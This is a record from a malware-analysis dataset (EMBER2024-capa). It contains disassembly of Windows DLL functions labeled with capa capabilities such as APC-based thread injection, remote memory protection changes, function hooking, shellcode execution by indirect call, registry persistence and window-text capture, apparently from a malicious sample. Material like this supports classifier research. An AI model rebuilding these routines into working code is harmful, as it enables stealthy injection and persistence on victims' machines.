joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180016c94
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x70
and dword [rax + 0x18], 0
mov r12, r8
mov r8d, dword [r8 + 4]
mov rbp, rdx
mov rsi, rcx
lea rdx, str.0x_08X
lea rcx, [rax - 0x38]
mov ebx, 8
mov dword [rax - 0x28], 1
mov dword [rax - 0x24], 0x2710
mov dword [rax - 0x20], 0x3e8
mov dword [rax + 0x20], 0x493e0
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x50]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
test rax, rax
jne 0x180016e62
mov rcx, qword [0x1800339a8]
lea r8d, [rbx + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x180016e70
lea r8d, [rbx + 0x58]
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
or rax, 0xffffffffffffffff
lea r9d, [rbx + 4]
lea r8, [rsp + 0x60]
mov qword [rdi + 0x38], rax
mov qword [rdi + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov edx, 0x98000004
mov rcx, rbp
mov qword [rdi + 8], rdi
mov qword [rdi], rdi
mov qword [rdi + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x180016e58
cmp dword [rsi + 0x54], eax
je 0x180016dbd
lea r9, [rsp + 0xa8]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, rbp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x180016e58
mov rdx, rbp
mov rcx, rdi
call qword [rsi + 0x40]
test eax, eax
mov ebx, eax
jne 0x180016e58
lea rcx, [rdi + 0x10]
lea r8d, [rax + 0x10]
mov rdx, r12
mov qword [rdi + 0x38], rbp
call sub.ntdll.dll_memcpy
lea rcx, [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rsi
mov qword [rdi + 8], rax
mov qword [rax], rdi
lea rcx, [rsi + 0x10]
mov qword [rsi + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea r8, [rdi + 0x50]
lea rcx, [0x18000cf24]
mov rdx, rdi
call fcn.1800191d8
test rax, rax
mov qword [rdi + 0x48], rax
jne 0x180016e52
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rdi + 8]
mov r11, qword [rdi]
lea rcx, [rsi + 0x10]
mov qword [rax], r11
mov qword [r11 + 8], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180016e54
xor ebx, ebx
test ebx, ebx
je 0x180016e70
mov rcx, rdi
call fcn.18001c288
jmp 0x180016e70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x57
lea r11, [rsp + 0x70]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x180018430
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, 0x2365
mov ecx, ebx
call fcn.180015180
test rax, rax
mov rdi, rax
je 0x1800184f3
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
test rax, rax
je 0x18001847f
lea rcx, [rdi + 4]
cmp rax, rcx
jbe 0x18001847f
cmp dword [rax - 5], 0x776f4c5c
jne 0x18001847f
lea rcx, [rax - 4]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
xor edx, edx
mov rcx, rdi
mov byte [rax], 0
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1800184df
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9, rdi
xor edx, edx
xor eax, ebx
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1800184df
mov rbx, qword [0x180033bd0]
lea rcx, [0x1800364d5]
add rbx, rcx
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1800184f3
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180018940
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [0x1800339a8]
xor edx, edx
mov r8d, 0x1000
xor edi, edi
mov dword [rax + 0x10], 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x1800189ee
lea r8, [rsp + 0x38]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
test rax, rax
mov rsi, rax
je 0x1800189dc
mov edi, 1
mov rcx, qword [rbx + 8]
mov rdx, rbp
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x1800189b6
mov rcx, qword [rbx + 8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea r8, [rsp + 0x38]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x38], 0x1000
call qword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
jne 0x18001899a
mov rcx, rsi
call qword [sym.imp.WININET.dll_FindCloseUrlCache]
mov rcx, qword [0x1800339a8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x180018a50
Capabilities:
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov r12, rcx
lea rcx, [0x1800364ef]
mov rbp, rdx
mov edi, 8
call fcn.1800087b4
test rax, rax
mov rbx, rax
je 0x180018af5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x1800339a8]
xor edx, edx
add eax, 0x105
movsxd r8, eax
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rsi, rax
je 0x180018ae3
mov r8, qword [0x180033e70]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, rsi
mov qword [r12], rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edi, edi
mov dword [rbp], eax
mov rcx, qword [0x1800339a8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1800190e8
Capabilities:
Get process image filename
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, qword [rcx]
mov rdi, rcx
mov rcx, qword [0x1800339a8]
mov esi, edx
xor edx, edx
mov r8d, 0x1000
lea r12d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r13d, r13d
cmp rax, r13
mov rbx, rax
je 0x1800191a7
mov r8d, 0x800
mov rdx, rax
mov rcx, rbp
call sub.PSAPI.DLL_GetProcessImageFileNameW
cmp eax, r13d
je 0x18001917e
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
cmp rax, r13
mov rbp, rax
je 0x18001917e
mov rcx, rax
call qword [sym.imp.ntdll.dll__wcsupr]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rbp
mov edx, eax
call fcn.180014d10
xor eax, dword [0x180033bc8]
cmp eax, 0x83c1e0d6
cmove r12d, r13d
mov rcx, qword [0x1800339a8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12d, r13d
jne 0x1800191a7
test sil, 4
jne 0x1800191bc
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1800191bc
lea rcx, [0x180033d38]
xor r9d, r9d
mov r8d, esi
mov rdx, rdi
call fcn.18001ac44
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1800191d8
Capabilities:
Create thread
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
mov r9d, dword [0x180033bc8]
mov qword [rax - 0x10], r8
mov r8, qword [sym.imp.KERNEL32.dll_SleepEx]
and dword [rax - 0x18], 0
mov rbx, rdx
mov rsi, rcx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov rdi, rax
je 0x18001924f
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x18001924f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x1800196cc
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rdx
mov r12d, r8d
mov rdi, rcx
xor ebx, ebx
xor edx, edx
mov rcx, rbp
lea r8d, [rbx + 0x10]
call sub.ntdll.dll_memset
mov rcx, rdi
mov word [rbp], 2
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x1800339a8]
lea r13d, [rbx + 1]
lea r8d, [r13 + rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp rax, rbx
mov rsi, rax
je 0x1800197ba
mov rdx, rdi
mov rcx, rax
call sub.ntdll.dll_strcpy
mov dx, 0x3a
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrChrA]
cmp rax, rbx
mov rdi, rax
jne 0x18001975a
cmp r12d, ebx
je 0x180019779
mov rdi, rsi
jmp 0x18001975f
mov byte [rax], bl
add rdi, r13
cmp rdi, rbx
je 0x180019779
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 2], ax
cmp rdi, rsi
je 0x18001979d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_gethostbyname]
cmp rax, rbx
je 0x1800197a8
mov rax, qword [rax + 0x18]
mov ebx, r13d
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 4], eax
jmp 0x1800197a8
cmp word [rbp + 2], bx
mov dword [rbp + 4], ebx
cmovne ebx, r13d
mov rcx, qword [0x1800339a8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1800197dc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
sub rsp, 0x40
mov rdi, r9
mov r13d, r8d
mov rsi, rdx
mov r12, rcx
and qword [rax - 0x18], 0
lea r9, [rax - 0x18]
xor r8d, r8d
mov rdx, qword [rcx + 8]
mov rcx, rsi
call fcn.18000cc8c
mov rbx, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x1800199aa
and dword [rsp + 0x24], 0
lea r8, [rsp + 0x24]
mov edx, 4
mov rcx, rax
call fcn.1800133e8
test eax, eax
je 0x1800199a0
mov qword [rdi + 0x30], r12
mov eax, dword [rbx]
add rax, rsi
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rbx
mov eax, dword [rbx]
mov qword [rdi + 0x20], rax
mov r9, rdi
mov r8d, r13d
mov rdx, rsi
mov rcx, r12
call fcn.1800194d8
mov ebx, eax
mov dword [rsp + 0x28], eax
cmp eax, 1
jne 0x1800199b3
mov eax, dword [0x180033b78]
test eax, eax
je 0x180019900
bt dword [rdi + 0x38], 0xa
jb 0x180019900
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.180013b74
mov rbx, rax
test rax, rax
je 0x180019900
lea r8, [rsp + 0x20]
mov r13d, 0xe
mov edx, r13d
mov rcx, rax
call fcn.1800133e8
test eax, eax
je 0x180019900
and dword [rbx + 2], 0
mov rax, qword [rdi + 0x28]
mov qword [rbx + 6], rax
mov word [rbx], 0x25ff
mov qword [rdi + 0x28], rbx
mov qword [r12 + 0x18], rbx
mov r8d, dword [rsp + 0x20]
lea eax, [r13 + 0x12]
cmp r8d, 0x40
cmovne r8d, eax
mov dword [rsp + 0x20], r8d
lea r9, [rsp + 0x20]
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rdi + 0x28]
sub rax, rsi
mov rcx, qword [rsp + 0x38]
mov dword [rcx], eax
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov edx, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x102
bt dword [rdi + 0x38], 9
jae 0x18001993e
mov rdx, rdi
mov rcx, qword [rsp + 0x30]
call fcn.180024718
lea rcx, [0x180033ee0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180033ed0]
mov qword [rdi], r11
lea rax, [0x180033ed0]
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
mov qword [0x180033ed0], rdi
lea rcx, [0x180033ee0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
lea rax, [rsi + r11]
mov qword [r12 + 0x20], rax
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov rcx, rsi
call fcn.1800220b4
test rax, rax
je 0x1800199b3
and dword [rax + 0x80], ebx
jmp 0x1800199b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1800199b3
mov ebx, 2
mov dword [rsp + 0x28], ebx
jmp 0x1800199b7
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
add rsp, 0x40
pop r13
ret
Function at 0x1800199d4
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180033bd0]
lea rdi, [0x180000000]
xor esi, esi
lea rcx, [rax + rdi + 0x37da0]
xor edx, edx
mov dword [rsp + 0x58], 4
mov dword [rsp + 0x50], esi
call fcn.18000715c
cmp rax, rsi
mov rbx, rax
je 0x180019abe
mov rcx, qword [0x180033bd0]
xor edx, edx
lea rcx, [rcx + rdi + 0x37e10]
call fcn.18000715c
cmp rax, rsi
mov rdi, rax
je 0x180019aac
lea rax, [rsp + 0x68]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x180019a9a
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x50]
cmp eax, esi
cmovne ecx, esi
mov dword [rsp + 0x50], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x1800339a8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x18001a494
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov edi, 8
mov r12, rcx
lea edx, [rdi + 0x14]
call fcn.180014d10
mov rcx, qword [0x180033c50]
lea r8, [rsp + 0x48]
mov edx, eax
call fcn.180018bb4
neg eax
sbb rbx, rbx
and rbx, qword [rsp + 0x48]
je 0x18001a685
mov r13d, dword [rbx + 0x4a18]
test r13d, r13d
jne 0x18001a5b3
mov r8d, dword [r12]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rsi, rax
je 0x18001a525
lea r8, [rbx + 0x10]
xor edx, edx
mov r9d, 0x104
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x180033c58], 0
mov dword [rbx + 0x4a1c], 1
je 0x18001a592
lea rcx, [rbx + 0x10]
mov r8w, 0x5c
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
test rax, rax
mov rbp, rax
je 0x18001a592
lea rcx, [rax + 2]
mov dx, 0x2e
call qword [sym.imp.SHLWAPI.dll_StrChrW]
test rax, rax
mov rsi, rax
je 0x18001a56c
and word [rax], 0
mov rcx, qword [0x180033c58]
lea rdx, [rbp + 2]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x18001a588
and dword [rbx + 0x4a1c], eax
test rsi, rsi
je 0x18001a592
mov word [rsi], 0x2e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rcx, qword [r12 + 0x10]
lea rdx, [rbx + 0x218]
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [rbx + 0x4a1c], 0
mov dword [rbx + 0x4a18], 1
je 0x18001a66e
movzx ecx, word [r12 + 0x20]
test cx, cx
je 0x18001a600
mov eax, dword [rbx + 8]
cmp eax, 0x2000
jae 0x18001a600
cmp cx, di
jne 0x18001a5f0
test eax, eax
je 0x18001a5fc
add eax, 0xffffffff
mov dword [rbx + 8], eax
jmp 0x18001a5fc
mov word [rbx + rax*2 + 0xa18], cx
add dword [rbx + 8], 1
xor edi, edi
jmp 0x18001a605
mov edi, 0x6f
mov rcx, qword [r12 + 0x22]
test rcx, rcx
je 0x18001a66e
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x1800339a8]
xor edx, edx
lea r8d, [rax + rax + 0x22]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rsi, rax
je 0x18001a66e
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [rsi + 0x18], ebp
mov rdx, qword [r12 + 0x22]
lea r8d, [rbp + 1]
lea rcx, [rsi + 0x1c]
add r8, r8
call sub.ntdll.dll_memcpy
lea r11, [rbx + 0x4a20]
mov rcx, qword [r11 + 8]
mov qword [rsi], r11
mov qword [rsi + 8], rcx
mov qword [rcx], rsi
mov qword [r11 + 8], rsi
test r13d, r13d
je 0x18001a685
mov rcx, qword [0x180033c50]
lea r8, [rbx - 0x34]
xor edx, edx
call fcn.180022ca8
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov eax, edi
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18001ac44
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r13, rcx
mov r14d, r8d
mov rsi, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rbp, qword [rsi]
and qword [rsp + 0x38], 0
mov rdx, rbp
xor ecx, ecx
mov dword [rsp + 0x34], 0xccccfeeb
call fcn.18000e9c8
xor r12d, r12d
test eax, eax
lea ecx, [r12 + 0x10]
mov eax, r14d
cmovne r12d, ecx
and eax, 0xc
cmp al, 0xc
jne 0x18001acdf
and qword [rsp + 0x20], 0
mov r8d, r12d
xor r9d, r9d
mov rdx, r13
mov rcx, rsi
or r8d, 0x20
call fcn.18000ef1c
cmp eax, 0x7f
mov ebx, eax
jne 0x18001ae63
test rdi, rdi
mov dword [rsp + 0x70], 0x10000b
jne 0x18001acfa
mov rcx, qword [rsi]
mov edx, r12d
call fcn.1800014d0
mov rdi, rax
lea rax, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov r9d, 4
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call fcn.18001ff54
test eax, eax
je 0x18001ae5b
cmp qword [rsp + 0x38], 4
jne 0x18001ae54
mov r9d, 0x40
lea rax, [rsp + 0x548]
mov rdx, rdi
lea r8d, [r9 - 0x3c]
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001ad6f
lea r9, [rsp + 0x548]
lea r8, [rsp + 0x34]
mov rdx, rdi
mov rcx, rbp
call fcn.18002a574
jmp 0x18001ad71
xor eax, eax
test eax, eax
je 0x18001ae5b
mov ebx, 0xbb8
mov r14d, 0x64
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x180033bb0]
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsi + 8]
cmp eax, 0x102
cmovne ebx, r14d
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x1800326f0]
sub ebx, r14d
test rax, rax
je 0x18001add3
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x18001ade1
cmp qword [rsp + 0x138], rdi
jne 0x18001ad84
cmp qword [rsp + 0x138], rdi
je 0x18001adf2
mov ebx, 0x261
jmp 0x18001ae0b
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, r12d
mov rdx, r13
mov rcx, rsi
call fcn.18000ef1c
mov ebx, eax
mov r9d, 0x40
lea rax, [rsp + 0x548]
mov rdx, rdi
lea r8d, [r9 - 0x3c]
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r14d, dword [rsp + 0x550]
test eax, eax
je 0x18001ae63
lea r9, [rsp + 0x548]
lea r8, [rsp + 0x30]
mov rdx, rdi
mov rcx, rbp
call fcn.18002a574
jmp 0x18001ae63
mov ebx, 0x12b
jmp 0x18001ae63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r14b, 4
jne 0x18001ae73
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea r11, [rsp + 0x510]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18001b84c
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
xor edi, edi
mov rbp, r8
mov r12, rdx
and qword [rax - 0x28], rdi
mov dword [rax - 0x30], 0x80
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rax - 0x38], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x18001b901
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov ebx, eax
jne 0x18001b8ac
mov ebx, 0xe8
jmp 0x18001b909
mov rcx, qword [0x1800339a8]
lea r8d, [rbx + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18001b901
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001b901
cmp ebx, dword [rsp + 0x78]
je 0x18001b8f2
mov ebx, 0x1e
jmp 0x18001b909
mov byte [rbx + rdi], 0
mov qword [r12], rdi
mov dword [rbp], ebx
xor ebx, ebx
jmp 0x18001b909
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp rsi, 0xffffffffffffffff
je 0x18001b918
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x18001b933
test ebx, ebx
je 0x18001b933
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x18001bae0
Capabilities:
Access pe header
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov esi, r9d
mov r13d, edx
mov rbp, rcx
mov ebx, 8
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x18001bc11
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov rcx, qword [0x1800339a8]
xor edx, edx
lea r8d, [rax + 0x11]
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18001bc16
lea ecx, [r12 + 1]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rdi + rbx]
lea rdx, [0x180036196]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
xor r9d, r9d
mov r8d, r13d
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x20], 1
call fcn.18001f65c
test eax, eax
mov ebx, eax
jne 0x18001bbfd
test esi, esi
je 0x18001bbfd
lea r8, [rsp + 0x30]
lea rdx, [0x180036327]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov ebx, eax
jne 0x18001bbfd
movsx r8d, byte [0x1800362d0]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrRChrA]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x30]
add eax, 1
lea rdx, [rbx + 1]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18001bc16
mov ebx, 0xb
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r13
pop r12
pop rdi
ret